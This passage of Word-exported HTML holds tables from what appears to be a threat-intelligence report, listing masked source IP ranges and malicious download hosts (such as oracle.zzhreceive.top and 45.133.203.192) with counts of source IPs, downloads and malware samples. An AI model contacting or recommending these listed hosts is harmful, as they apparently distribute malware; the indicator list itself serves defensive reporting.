mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">21<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">4,588<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:5;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"bottom\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">180.76.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.15pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">21<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">4,222<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:6;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"bottom\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">101.35.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.15pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">22<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">4,123<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:7;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"bottom\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">106.13.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.15pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">23<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">3,910<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:8;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"bottom\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">49.232.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.15pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">24<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">3,778<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.6pt\">\n <td width=\"141\" nowrap=\"\" valign=\"bottom\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">1.15.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"123\" nowrap=\"\" valign=\"bottom\" style=\"width:92.15pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">23<o:p></o:p></span></p>\n </td>\n <td width=\"113\" nowrap=\"\" valign=\"bottom\" style=\"width:3.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">3,618<o:p></o:p></span></p>\n </td>\n </tr>\n</tbody></table>\n\n</div>"}],["html",{"html":"<div align=\"center\">\n\n<table class=\"MsoTable15Grid4Accent3\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" width=\"0\" style=\"width:370.1pt;border-collapse:collapse;border:none;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt\">\n <tbody><tr style=\"mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;\n height:9.6pt\">\n <td width=\"178\" nowrap=\"\" valign=\"top\" style=\"width:133.85pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;\n mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:5\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">域名</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">/IP</span></b><b><span style=\"mso-bidi-font-size:12.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">地址</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:\n bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"88\" nowrap=\"\" valign=\"top\" style=\"width:66.0pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">源</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">IP</span></b><b><span style=\"mso-bidi-font-size:12.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">数量</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:\n bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"98\" nowrap=\"\" valign=\"top\" style=\"width:73.65pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">下载次数</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"129\" nowrap=\"\" valign=\"top\" style=\"width:96.6pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;\n mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">恶意软件数</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:0;height:9.6pt\">\n <td width=\"178\" nowrap=\"\" style=\"width:133.85pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">oracle.zzhreceive.top</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"88\" nowrap=\"\" style=\"width:66.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-pagination:widow-orphan;\n mso-yfti-cnfc:64\"><span lang=\"EN-US\">1,136</span></p>\n </td>\n <td width=\"98\" nowrap=\"\" style=\"width:73.65pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">181,556</span></p>\n </td>\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">74</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:1;height:9.6pt\">\n <td width=\"178\" nowrap=\"\" style=\"width:133.85pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">112.253.11.38</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"88\" nowrap=\"\" style=\"width:66.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-pagination:widow-orphan\"><span lang=\"EN-US\">1,128</span></p>\n </td>\n <td width=\"98\" nowrap=\"\" style=\"width:73.65pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">19,307</span></p>\n </td>\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">7</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:2;height:9.6pt\">\n <td width=\"178\" nowrap=\"\" style=\"width:133.85pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">45.133.203.192</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"88\" nowrap=\"\" style=\"width:66.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-pagination:widow-orphan;\n mso-yfti-cnfc:64\"><span lang=\"EN-US\">869</span></p>\n </td>\n <td width=\"98\" nowrap=\"\" style=\"width:73.65pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 